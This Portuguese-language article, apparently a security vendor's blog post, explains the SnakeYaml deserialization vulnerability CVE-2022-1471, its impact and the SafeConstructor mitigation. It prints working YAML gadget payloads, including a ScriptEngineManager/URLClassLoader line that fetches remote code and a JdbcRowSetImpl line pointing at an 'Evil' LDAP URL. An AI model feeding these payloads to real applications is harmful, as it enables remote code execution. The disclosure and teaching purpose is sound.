Vulnerabilidade de desserialização insegura no SnakeYaml (CVE-2022-1471)

SnakeYaml é um conhecido parser e emissor de YAML 1.1 para Java. Recentemente, foi divulgada uma vulnerabilidade — CVE-2022-1471 — nesse pacote. Ela pode levar à execução arbitrária de código. O pacote org.yaml:snakeyaml é amplamente utilizado no ecossistema Java, em parte porque vem incluído por padrão no Spring Boot, no spring-boot-starter. Neste artigo, analisamos a vulnerabilidade de segurança que afeta essa biblioteca Java, discutimos os possíveis impactos perigosos para seus aplicativos e avaliamos os riscos reais.

O que é a vulnerabilidade de segurança do SnakeYaml?

A biblioteca SnakeYaml para Java é vulnerável à execução arbitrária de código devido a uma falha na classe Constructor. A classe não restringe os tipos que podem ser desserializados, permitindo que um invasor forneça um arquivo YAML malicioso para desserialização e possivelmente explore o sistema. Assim, essa falha causa um problema de desserialização insegura que pode resultar na execução arbitrária de código.

Como funciona a vulnerabilidade do SnakeYaml

Desserializar ou serializar YAML é bastante simples com o SnakeYaml. Em geral, você faz algo assim:

1Yaml yaml = new Yaml();
2File file = new File("file.yaml");
3InputStream inputStream = new FileInputStream(file);
4User user = yaml.load(inputStream);

Ao carregar o YAML do arquivo no exemplo acima, a entrada é analisada como o tipo genérico Object.class, que é o supertipo de todos os Object em Java. No nosso código, esperamos um objeto User, mas a conversão de tipo ocorre depois que o Object é carregado na memória. Por ser do tipo genérico Object, qualquer objeto pode ser usado. Isso pode levar à execução arbitrária de código se houver um gadget ou uma cadeia de gadgets disponível no classpath do aplicativo.

Isso é semelhante aos problemas que exploramos nos artigos Serialização e desserialização em Java e Problemas de desserialização de JSON em Java com o Jackson ObjectMapper.

Demonstração da vulnerabilidade do SnakeYaml

Para demonstrar o cenário vulnerável, criei deliberadamente uma classe gadget. Um gadget é uma classe que causa um efeito colateral quando instanciada, seja fazendo algo diretamente ou iniciando uma cadeia de gadgets. Neste caso, o gadget executa um comando específico quando o construtor é chamado.

1public class Gadget {
2   private Runnable command;
3
4   public Gadget(String value) {
5       this.command = new Command(value);
6       this.command.run();
7   }
8}

Quando essa classe Java está disponível e desserializo meu YAML com o código apresentado anteriormente, posso inserir o seguinte conteúdo no arquivo YAML:

1!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]

Isso significa que posso direcionar especificamente o SnakeYaml a qualquer classe Java disponível no classpath. Como a classe já está no meu classpath e o SnakeYaml cria o objeto independentemente da classe esperada, ocorre uma ClassCastException. No entanto, o dano já está feito e o comando é executado. Ter um gadget ou uma cadeia de gadgets disponível no classpath pode levar a situações desastrosas, como um ataque de reverse shell.

Qual é a gravidade da vulnerabilidade do SnakeYaml em aplicativos reais?

É improvável que alguém crie um gadget da forma que mostramos no exemplo acima. No entanto, incluir bibliotecas de terceiros aumenta a possibilidade de haver gadgets criados por outras pessoas dessa forma no seu código. Uma rápida consulta ao repositório ysoserial no GitHub ou à lista de possíveis problemas de desserialização na biblioteca de serialização de JSON jackson-databind mostra que o potencial de risco é alto. A diferença em relação ao jackson-databind é que o Jackson não ativa defaultTyping por padrão (como descrevemos em nossa menção anterior à vulnerabilidade).

Agentes mal-intencionados também podem usar algumas classes do JDK para causar danos. Por exemplo, a ScriptEngine:

1!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Essa entrada YAML se conecta a uma URL que pode baixar conteúdo nocivo para o seu aplicativo, conforme explicado neste artigo da Websec.

Outro exemplo (dependendo da versão do Java que você está usando) é a classe JdbcRowSetImpl, que pode usar uma solicitação LDAP para fazer uma consulta. Isso pode permitir riscos semelhantes aos que vimos com o Log4Shell há pouco tempo.

1!!com.sun.rowset.JdbcRowSetImpl
2dataSourceName: "ldap://localhost:9999/Evil"
3autoCommit: true

Para saber mais, consulte o relato de problema no Bitbucket do SnakeYaml.

Meu aplicativo é afetado pela vulnerabilidade do SnakeYaml?

O fato de você ser afetado depende de como usa essa biblioteca. Se você carrega dados YAML personalizados de outras fontes de forma semelhante ao uso de objetos XML e JSON, pode estar vulnerável! A regra geral é não aceitar esse tipo de entrada de fontes desconhecidas.

Na maioria dos casos, o SnakeYaml é usado por outros frameworks, como Spring ou Helidon, para ler configurações YAML que já fazem parte do seu sistema. Se agentes mal-intencionados conseguirem alterar esses arquivos de configuração, você terá um problema diferente e provavelmente maior. Por isso, pessoalmente, não acredito que o impacto seja muito grande.

Os responsáveis pela manutenção da biblioteca contestam o risco associado a esse problema. Ainda assim, não podemos prever como as pessoas usam uma biblioteca como essa.

Mitigação proposta para a vulnerabilidade do SnakeYaml

Até a data de publicação, não havia uma nova versão desse pacote disponível. Os responsáveis pela manutenção aceitaram uma solicitação de pull do Git que introduz uma lista de bloqueio para artefatos específicos a serem desserializados. A expectativa é que isso esteja disponível na versão 1.34. Por enquanto, parece que não haverá uma correção genérica para o comportamento padrão.

A documentação do SnakeYaml afirma: Não é seguro chamarYaml.load() com dados recebidos de uma fonte não confiável!O método Yaml.load() converte um documento YAML em um objeto Java.

Usado por padrão, como mostrado abaixo.

1Yaml yaml = new Yaml(new SafeConstructor());

Sempre analise suas dependências

Como você já sabe, a maior parte do código nos seus aplicativos vem de bibliotecas de terceiros. E, como nenhum desenvolvedor tem tempo para revisar todo o código dessas bibliotecas, é importante analisar suas dependências em busca de vulnerabilidades conhecidas. Com a Snyk, isso é fácil: você conta com análise em tempo real, recomendações práticas de correção e pontuação de prioridade para maximizar o impacto dos seus esforços de remediação. Crie sua conta gratuita hoje mesmo.